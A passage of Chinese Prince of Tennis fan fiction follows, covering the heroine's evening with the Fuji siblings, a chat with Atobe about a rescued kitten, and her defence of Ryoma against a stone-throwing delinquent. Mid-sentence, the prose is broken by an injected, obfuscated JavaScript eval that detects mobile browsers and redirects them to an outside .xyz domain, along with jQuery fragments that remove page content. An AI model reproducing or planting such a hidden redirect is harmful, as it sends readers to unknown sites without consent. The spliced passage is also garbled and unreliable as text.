因为回去的晚了,没时间处理鱼,芽久晚上就没吃上全鱼宴,不过不二由美子做了她喜欢的草莓蛋糕,让她心里感到些许安慰。
晚饭后,不二周助在小院子里照看仙人掌,不二由美子和铃木真纪在二楼的榻榻米上聊天看肥皂剧,邀请她一起,但芽久不感兴趣,便躺在楼下沙发上拿出手机点开了通讯录。
列表上多了个新好友[king]。
芽久把备注名改为[迹部大爷],发了条消息过去。
[芽久:迹部君,小猫现在怎么样?]
对方目前不在线,估计一时半会儿也不会回消息了,芽久便浏览了一会儿帖子,由于太过无聊,没刷两个她就感到困乏,眼皮沉的几乎睁不开。
就在她快要睡过去的时候,手突然一滑,“啪”的声手机砸到了脸上,疼的她眼泪都快流出来了。
“怎么这么不小心?”
不二周助站在沙发另一侧,伸手将手机从她脸上拿了下来,另一手抵着唇,垂眸忍笑。
芽久捂着被砸中的颧骨,把脸埋进沙发里强忍着疼痛没让眼泪流下来,倏而感觉到一片阴影笼罩下来,她正过身子,抬眼撞进一双冰蓝色的瞳孔。
眯眯眼居然睁眼了!
芽久登时清醒了。
不二周助侧坐在少女头边的沙发上,认真且专注的盯着她看,准确来说是她上半身衬衫上的几处血迹。
从躺下时塌陷的小腹到微微隆起胸口上方的衣领口,都有少许碍眼的殷红。
今天刚见到她时,他就注意到了,但见她生龙活虎地就没去问。
芽久被看的有些紧张:“干嘛?”
“这里好红呢。”不二周助伸手戳了戳芽久有些肿起来的颧骨,眼睛又眯了起来。
“嘶——疼死了,别乱碰啊。”
芽久一把拍开他的手,捂住自己的脸。
不二周助罕见的沉默了下来,盯她看了几秒,问:“你衣服上怎么会有血?”
“血?哪里?”
芽久愣了下,第一反应是以为自己来大姨妈了,她摸了摸自己的肚子,也不疼啊,她下次来姨妈的时间应该还要一个多星期。
不二周助扶额,点了点她的衣领,细眉微蹙:“我不是问你那个,是这里呢。”
“哦,这是鼻血。”
“欸?小芽不是一直在钓鱼吗?怎么会突然流鼻血,是撞到了吗?”
“不是。”
不二更好奇了:“那是因为上火?”
芽久继续摇头。
“那就奇怪了。”不二周助坐直身体,手指摩挲着下巴,一副很苦恼的样子,“不能告诉我吗?”
“不能。”
不二:“闺蜜也不能知道吗?”
芽久:“……不行。”
“啊,我明白了。”不二周助右手握拳砸在左掌心,低下头,迎着芽久一副洗耳恭听的样子,微微一笑:
“小芽莫非是看到河边有帅哥洗澡?能到流鼻血的程度,身材肯定很不错吧,小芽比我长一岁,果然懂的更多,更像个大人呢。”^_^
芽久:“……闭嘴吧你。”
直到最后,不二也没问出来她为什么会流鼻血。
就算认识了这么多年,知根知底的,芽久也没那个脸皮把这种事告诉他。
“好吧,小芽有自己的秘密了呢。”
不二看起来很失落。
他叹了口气,在不二由美子和铃木真纪有说有笑的下楼时,无奈垂眸,转而又温柔笑开,揉了两下她有些乱的头发:
“下次出去要小心,有需要的话可以随时叫上我。”
“嗯,知道了。”
送走了不二姐弟,芽久继续瘫回沙发上,现在已经没那么困了,她重新打开手机,看见迹部已经回消息了。
[迹部大爷:手术成功。]
[芽久:太好了太好了,什么时候可以出院?]
[迹部大爷:三天后。]
[芽久:那以后我还可以见到它吗?(眼巴巴)]
[迹部大爷:……本大爷像那种不通情达理的人吗?]
[芽久:那大爷您的意思是……?]
[迹部大爷:自己猜。]
[芽久:……]
对话终止到这里,后面芽久发了好几个骚扰表情包过去,那边也一句话没回。
“真狠心啊男人。”
不过他那话的意思,她能不能姑且认为是想见的时候可以随时联系他?
芽久挠挠头,她是真猜不透他的意思啊。
*
都大会的1/4决赛,青学不出所料的对上了圣鲁道夫,青学胜利。
这场比赛芽久没去,因为即将期中考试了,三年级的课业还是很重的,再加上她也不是网球部编内人员,就更没有请假理由了。
不过,她后面倒是有听英二说起了一些,比如和裕太对打的是越前,越前赢了,不二和圣鲁道夫那边一个叫观月的比赛,据说比赛时不二看起来挺生气的。
这件事,芽久后面有问过不二,他笑了笑,只说那是个很讨厌的人呢。
要说有什么很值得高兴的事,就是裕太重新回家住了,和他哥僵硬了许久的关系也终于好了些,甚至现在裕太还有些崇拜他哥。
对此,芽久只想拍着他的肩膀表示:裕太啊,你才看清你和你哥之间的差距吗?
果然,一个人对跟他实力相近的人总会产生些竞争心里,一旦某天二人之间差距拉大,大到他无法追赶的时候,他或许还会反过来到处炫耀自己认识这么牛逼的人物。
芽久深以为然。
她拿着自己拍网球一概正选照片的劳动报酬——印象家最新款相机,摸了又摸,并且给它取了个名字——“小绿”。
原先跟了她好几年的“小黑”光荣下岗。
走着走着就又到了网球场,尽管一直连胜,网球部的众人依旧没有放松警惕,有条不紊地训练着。
《职业网球月刊》的两个记者,井上先生和砂织小姐一如既往地出现在网球场外,他们真的很看好青学呢。
芽久走到他们边上,开始蹭解说。
铃木真纪的杂志社《运动王子》和《职业网球月刊》都是以网球这项运动为重心,双方某种意义上来说算是竞争对手,但不同的是,后者重点在网球,讲究技巧、输赢,而前者重点在“王子”,以各类运动系美少年的绝美照片以及网球外的日常生活为主。
据说现在社会上很多年轻女性都好这一口,有很大的潜在市场。
“砂织小姐!”
芽久热情地打了个招呼。
芝·砂织转头看向她,嘴角笑容绽开:“是小芽啊。”
“欸?小芽换了新的相机啊。”
芽久很满意她的反应,有意不让自己看起来太过得意,语气轻松地:“对啊,是我堂姐送的,很好看吧。”
“是呢,哦,说到这个,我想起来了——”芝·砂织迅速喵了眼旁边在给几个一年级小朋友作解说、无暇顾及旁边的井上前辈,然后将胳膊搭在芽久肩膀上,低下头一脸神秘地道:
“小芽,你们家第一个月的杂志我有看哦,这期的主人公不二同学果然很好看,简直是顶级美少年!而且采访也好有意思,他居然会是芥末爱好者,真看不出来呢。”
说到后面,芝·砂织的声音都忍不住拔高了些,难掩兴奋。
芽久摆了摆手故作谦虚:“哪有哪有,我们杂志社也是刚开业嘛,需要改进和学习的地方还有很多。”
“话说里面的图片都是小芽拍的吗?构图和审美都很不错,小芽真的很有天赋,以后一定能成为超有名气的大摄影师的。”
“小芽,小芽,你能不能偷偷告诉我下期的主人公是谁啊。”芝·砂织眼神热切而好奇地看着她。
芽久被夸得忘乎所以,尾巴都要翘上天了,差点将“越前龙马”四个字脱口而出
“砂织,你在做什么?”井上板着脸,语气颇有些斥责。
砂织尴尬地笑了笑,道了声抱歉,赶紧回归本职工作。
芽久的热情也被浇灭不少,头脑瞬间冷静下来,
她拍了下自己的嘴,心里懊恼自己这张破嘴,怎么这么不禁夸,还好没说出来,不然回去都不知道怎么跟真纪姐交代。
站在边上看了会,芽久感到有些无聊,想着今天的作业有点多,就准备回班级里写会作业。
快要到体育器材室附近的时候,隔的老远就听到前面传来一阵喧哗,其中一个声音听起来挺耳熟的。
“荒井前辈!”
是胜郎!
芽久想起网球部那个一年级的锅盖
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15520750|170700||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
头小子。
发生什么事了吗?
她快走几步,到了地方,就看见地上一片狼藉,网球滚了一地,胜郎和那个叫荒井的人躺在地上,身上都带点伤,而站在他们旁边的是拿着球拍的越前龙马以及一个凶神恶煞的外校人。
两个人好像在说什么“银华国中”“坏好事”之类的话。
而且这个外校人居然还吸烟,莫不是混黑·帮的?
太可怕了,越前龙马是怎么招惹上他的?
外校人从地上捡了个大石头,芽久看出他的意图,下意识惊呼了声“小心”,然后目光四下移动,找能隔挡的东西。
越前龙马听到背后的声音,迅速用球拍接下前面打来的石头,看了后面一眼,某人正忙忙碌碌的不知道在找什么。
“喂!青学一年级的校队,你在看哪儿呢?!”
不良男怒吼了句,又打过来几颗石子。
越前龙马仍用网球回击了过去,轻嗤:“喂,你就这点能耐吗?”
不良男被惹怒了,这次抓了把石子,力气也用的很大,约莫十多颗小石子迎面砸来,数量太多,根本不可能一次性都打回去。
越前龙马“啧”了声,要是被砸中会很麻烦的,他双手做保护状挡在胸前,只听“噼里啪啦”的一顿响,快要砸中他的石头被一个不知道怎么扔过来的垃圾桶盖挡住了大半,只有一两颗从他脸侧擦过。
“你是谁啊?!脑子有病是不是?!来别人的学长找事情还打人,再这样我就报警了啊!就算你是混社会的,多少也要懂点法吧!”
芽久捂着被误伤到的额头,骂骂咧咧地走了过来,挡在越前龙马前面。
表情看着嚣张,但其实心里怕的要命,可她是学姐啊,这种时候怎么能怂!
“多管闲事!你是他女朋友吗?!”外校男“切”了声,很嚣张地歪头,越过她看向后面的越前,“喂,我今天就是来给你过见面礼,下次可不会再手下留情了。”
芽久叉着腰,气势汹汹地瞪他。
“喂,别急着走啊!”
随着这一声在身后响起,一颗网球从她耳侧迅速擦过,然后被那个不良男出手接住。
芽久腿都要软了,眼见人要走了,越前龙马这破小孩又开始挑衅,不过还好这次那个不良男没准备再逗留,冷笑一声,又狠狠瞪了芽久一眼,叼着烟走了。
确定他不会扭头再回来,芽久提起的心这才落下。
这都什么事儿啊,她在青学待三年,还是第一次见有外校的学生这么明目张胆来挑衅打人的。
“啧,好痛。”
芽久又揉了揉额头,方才怕怀里的相机被打中,光顾着抱着它了,被垃圾桶盖弹开的一颗石子就这么砸到了脸上。
“你怎么会在这里?”
少年声音冷清,还带着些变声期的沙哑。
芽久瞥了眼旁边的越前龙马:“路过。”
“你可以直接走的,没必要来掺和一脚。”
话一出口,越前龙马就忍不住眉头一皱,他原意只是想让她保护好自己,没必要因为别人的事让自己受伤,可话一出口怎么感觉不对味儿了?
算了,无所谓。
“啊?”芽久不可置信地看着他,“你这小孩,我可是帮你诶!你也嫌我多管……”
话说一半,眼前落下一片阴影,一顶帽子就这么戴在了她头上,正好遮住她额头红起来的地方。
少年的脸一下子离得很近,能看清他琥珀色的瞳孔虹膜,收手时指尖不经意擦过她额间肌肤,冰冰凉凉的。
“那个……谢谢。”
越前龙马轻咳一声,不好意思地别过视线。
芽久眨了眨眼,头顶的帽子仿佛带电一样流过全身,让她整个人麻痹在原地,呆愣的开口:
“哦,没关系。”
她刚才是被撩了吗?
被越前龙马?
被这个比她小三岁的一年级生?
这个世界太疯狂了。
芽久也略有些尴尬,视线落到他侧脸的血痕上:“还是伤到了啊,你赶紧去医务室吧。”
“那你呢?”
芽久下意识想摸额头,但一碰到帽子手就感觉被烫到一样,缩了回来,故作轻松地:
“我没事,过会儿就消肿了。”
“嗯。”